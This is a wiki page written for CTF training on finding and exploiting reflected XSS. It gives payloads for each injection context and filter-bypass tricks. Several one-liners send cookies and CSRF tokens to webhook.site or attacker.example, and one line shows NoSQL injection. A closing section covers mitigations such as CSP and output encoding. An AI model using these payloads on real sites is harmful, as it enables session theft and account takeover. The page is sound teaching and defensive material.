Athena Wiki

Reflected XSS

webbeginner

Find and exploit reflected Cross-Site Scripting vulnerabilities in CTF web challenges.

webxssreflectedjavascriptcookie-theftalertpayload

Reflected XSS

Reflected XSS occurs when an application includes attacker-controlled data in an immediate response - typically in a URL parameter, query string, header or form field - without properly encoding or validating it. Because the payload is reflected in the response, the attack is usually delivered via a crafted link that a victim must open.


Quick summary

  • Impact: session theft, CSRF token exfiltration, forced actions via the victim's browser, or delivering browser-based exploits.
  • Delivery: a crafted URL, a malicious link in a message, or an injected parameter in an HTTP request.
  • Distinction: reflected (one-time link) vs stored (persisted) vs DOM XSS (client-side only).

CTF Quick Start

    1. Find a reflection point (URL parameter, header, or form) that is visible to an admin/bot.
    1. Confirm with a benign marker: ?q=<b>ctf-test</b> and check rendering.
    1. Test minimal payload per context: alert(1) via script, image onerror, or SVG onload.
    1. Use a webhook (webhook.site / Burp Collaborator) to capture exfil: new Image().src='https://webhook.site/ID?c='+btoa(document.cookie).
    1. Submit payload and wait for admin/bot; collect flag or token from webhook.

Payload library (one-liners)

  • HTML body: %3Cscript%3Ealert(1)%3C/script%3E
  • Image onerror: <img src=x onerror=alert(1)>
  • Attribute break: " onmouseover=alert(1) x="
  • JS string break: ";alert(1);//
  • URL payload: javascript:fetch('https://webhook.site/ID?c='+btoa(document.cookie))

How reflected XSS works (simple flow)

  1. Attacker crafts URL containing payload (e.g. ?q=<script>alert(1)</script>).
  2. Victim clicks URL or visits it indirectly.
  3. Server reflects the payload into the HTML response without proper encoding.
  4. Victim's browser parses and executes the injected script.

Contexts that matter

The exact payload depends on where the input is reflected:

  • HTML body (unescaped): <div>USER_INPUT</div>
  • HTML attribute: <input value="USER_INPUT"> (requires breaking out of the attribute)
  • URL/attribute contexts: <a href="USER_INPUT"> or <img src="USER_INPUT"> (javascript: or data: payloads)
  • JavaScript code: var x = "USER_INPUT"; (requires breaking out of string/statement)
  • CSS context: style="background:url(USER_INPUT)" (less common)
  • DOM-sourced sinks: element.innerHTML = USER_INPUT (DOM XSS)

Understanding the reflection context is the first step to crafting a working payload.


Testing checklist (quick probes)

  1. Identify reflection points:

-- ?q=<h1>test</h1> - does the tag render? -- ?q="onerror=alert(1) - do attributes break? -- ?q=';alert(1);// - check inside JS contexts.

  1. Try minimal payloads per context:
  • HTML body: <script>alert(1)</script> or <img src=x onerror=alert(1)>
  • Attribute: " onmouseover=alert(1) " or ' onfocus=alert(1) '
  • JS string: ";alert(1);// or ');alert(1);//
  • URL: javascript:alert(1) or data:text/html,<script>alert(1)</script>
  1. Observe response source (view-source) to determine escaping and exact location.

  2. For blind/reflected timing: use redirects or time-delaying payloads in environments supporting sleep/setTimeout from injected JS (rare in pure reflected XSS).


Practical payloads by context

HTML body (simple):

<script>alert(1)</script>

If <script> is filtered, use event handlers and orphan elements:

<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<details open ontoggle=alert(1)>click</details>

Attribute breakout (example):

Original server output: <input value="USER_INPUT">

Payload: " onmouseover=alert(1) x=" → results in:

<input value="" onmouseover=alert(1) x="">

Inside JavaScript (string context):

Original: var name = "USER_INPUT";

Payload: ";alert(1);// → becomes:

var name = "";alert(1);//";

URL contexts (href/src):

<a href="javascript:alert(1)">x</a>
<a href="data:text/html,<script>alert(1)</script>">x</a>

DOM sink example (client-side reflection):

If page runs document.body.innerHTML = location.search.substr(1) and attacker controls location.search, use the same body payloads - DOM XSS is executed entirely client-side.


Exploitation patterns (practical)

  • Cookie exfiltration (note: cannot read HttpOnly cookies with JS):
<script>new Image().src='https://attacker.example/?c='+encodeURIComponent(document.cookie)</script>
  • Token or DOM data exfiltration via fetch/XMLHttpRequest:
<script>fetch('https://attacker.example/?data='+btoa(document.querySelector('meta[name=csrf]').content))</script>
  • Post-exploitation: use XSS to perform actions as the victim, escalate to stored XSS, or chain with other vulnerabilities.

Bypass techniques

  • Encoding: URL-encode, HTML entities, UTF-7, or Unicode homoglyphs when simple characters are filtered.
  • Attribute tricks: break out of quotes, inject event handlers, or use javascript:/data: schemes in URLs.
  • Tag alternatives: SVG, MathML, <details>, <video>/<audio> with onerror/onplay handlers.
  • DOM-based: if server-side blocks are strict, exploit DOM sinks in client scripts.

Examples:

password=%7B%22$ne%22%3A%22x%22%7D   # url-encoded JSON (NoSQL) - shows approach used in NoSQL injection
%3Cscript%3Ealert(1)%3C%2Fscript%3E   # URL encoded script tag

Mitigations and best practices

-- Context-sensitive output encoding (escape HTML, attributes, JS, URL contexts) - do not use a single sanitizer for all contexts.

  • Use framework/template escaping helpers (e.g., React escapes by default; JSP/Thymeleaf have encoders).
  • Set HttpOnly and Secure on session cookies; use SameSite where appropriate.
  • Implement a strong Content Security Policy (CSP) that disallows inline scripts and limits script sources (script-src 'self' 'nonce-...'), but treat CSP as defense-in-depth.
  • Validate and canonicalize input; reject unexpected types (e.g., objects vs strings).
  • Avoid innerHTML/document.write() and prefer safe DOM APIs (textContent, setAttribute).
  • Output least privilege for admin interfaces and limit automated admin link-clicking by bots.

Detection and automated tools

  • Manual: view-source and try context-specific payloads; inspect DOM and dynamic script insertion. -- Tools: Burp Suite, ZAP, and custom scripts can detect reflections and common payloads. Use scanners as a supplement - manual context analysis is required.

See also


Last updated on

On this page